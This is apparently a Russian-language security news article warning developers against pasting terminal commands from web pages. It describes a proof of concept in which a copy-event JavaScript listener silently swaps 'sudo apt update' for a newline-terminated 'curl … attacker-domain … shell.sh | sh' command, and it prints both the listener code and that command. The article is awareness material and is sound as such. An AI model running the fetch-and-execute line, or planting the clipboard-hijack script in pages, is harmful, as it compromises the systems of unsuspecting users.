Не копируйте и не вставляйте команды с веб-страниц - вас могут взломать

NOTES 06.01.22 06.01.22 372
Бесплатные курсына главную сниппетов1

Программисты, системные администраторы, исследователи безопасности или любители, копирующие и вставляющие команды с веб-страниц в консоль или терминал, имейте в виду, что вы рискуете скомпрометировать свою систему.

Технический специалист демонстрирует простой трюк, который заставит вас дважды подумать, прежде чем копировать и вставлять текст в терминал с веб-страниц.

Бэкдор в буфере обмена?

Недавно Габриэль Фридландер, основатель обучающей платформы Wizer по повышению осведомленности о безопасности, продемонстрировал очевидный, но удивительный способ взлома, который заставит вас остерегаться копирования и вставки команд с веб-страниц.

Как новички, так и опытные разработчики нередко копируют часто используемые команды с веб-страниц (например, из StackOverflow) и вставляют их в свои приложения, командную строку Windows или терминал Linux.

Фридлендер предупреждает, что веб-страница может скрытно заменять содержимое того, что находится в вашем буфере обмена, и то, что на самом деле будет скопировано в ваш буфер обмена, будет сильно отличаться от того, что вы намеревались скопировать.

Хуже того, без должной осмотрительности разработчик может осознать свою ошибку только после вставки скопированного текста, но тогда может быть уже слишком поздно.

В простом доказательстве концепции (PoC), опубликованном в своем блоге, Фридлендер просит читателей скопировать простую команду, с которой знакомо большинство системных администраторов и разработчиков:

Теперь вставьте то, что вы скопировали из блога Фридлендера, в текстовое поле или блокнот, и результат, вероятно, вас удивит:

curl http://attacker-domain:8000/shell.sh | sh

Мало того, что вы получаете совершенно другую команду в вашем буфере обмена, но, что еще хуже, у нее есть символ новой строки (или возврат) в конце.

Это означает, что приведенный выше пример будет выполнен, как только он будет вставлен непосредственно в терминал Linux.

От редактора. Приведенная в статье команда с подменой протестирована на дистрибутивах Ubuntu 21.10 и Linux Mint 20.3 Beta.

При вставки команды в терминал Ubuntu 21.10 для запуска команды необходимо нажать Enter.

При вставке команды в терминал Linux Mint 20.3 Beta команда срабатывала автоматически, о чем и сообщает специалист.

У тех, кто вставлял текст, могло создаться впечатление, что они скопировали знакомую безобидную команду sudo apt update, которая используется для получения обновленной информации об установленных списках пакетов.

Принцип работы подмены команды

Магия заключается в коде JavaScript, скрытом за HTML-страницей PoC, созданной Фридландером.

Как только вы копируете текст "sudo apt update", содержащийся в HTML-элементе, запускается фрагмент кода, показанный ниже.

После этого JavaScript "слушатель событий" перехватывает событие копирования и заменяет данные буфера обмена на вредоносный тестовый код Фридландера:

<script>
document.getElementById('copy').addEventListener('copy', function(e) { e.clipboardData.setData('text/plain', 'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault(); });
 </script>
Обратите внимание, что слушатели событий имеют множество законных случаев использования в JavaScript, но это лишь один пример того, как их можно использовать не по назначению.

"Вот почему вы НИКОГДА не должны копировать команды для вставки непосредственно в терминал", – предупреждает Фридландер.

"Вы думаете, что копируете одно, но оно заменяется чем-то другим, например, вредоносным кодом. Достаточно вставить одну строку кода в скопированный код, чтобы создать бэкдор в вашем приложении".

"Эта атака очень проста, но может быть и крайне вредоносной".

Простой, но, тем не менее, важный урок повседневной безопасности.

 

 

на главную сниппетов
Курсы